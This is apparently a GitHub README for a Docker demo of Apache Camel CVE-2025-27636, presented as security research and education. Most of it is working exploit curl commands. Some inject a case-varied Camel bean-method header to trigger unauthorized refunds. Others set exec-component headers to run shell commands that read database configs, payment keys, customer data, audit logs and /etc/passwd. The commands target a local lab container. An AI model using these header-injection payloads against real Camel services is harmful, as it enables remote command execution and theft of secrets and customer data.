crystallen1/cve-2025-27636-demoDemonstrates Apache Camel CVE-2025-27636 with Docker-based reproduction of header injection attacks, including bean method injection and command execution for security research and education.
This project demonstrates security vulnerabilities in Apache Camel related to header injection attacks.
Build the Docker image:
docker build -t camel-cve-demo .
Run the container with all necessary ports:
docker run -d `
--name camel-cve-demo `
-p 8080:8080 `
-p 8081:8081 `
-p 8484:8484 `
-v ${PWD}/logs:/app/logs `
-e JAVA_OPTS="-Xmx512m -Xms256m" `
camel-cve-demo
Exploit vulnerable endpoint by injecting method names:
# Successful attack - case-sensitive header
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
# Alternative - query parameter injection
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"
Comparison (these should fail):
# Wrong case - should not work
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
Exploit exec component to execute arbitrary commands:
Reconnaissance:
# Check current directory
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"
# List config directory
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"
# Find configuration files
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"
Data Exfiltration:
# Read database configuration
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"
# Read payment secrets
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"
# Read customer data
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"
# Read audit logs
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"
# Read system users
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"
# List processes
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"
Check the attack logs inside the container:
# View unauthorized refund attempts
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt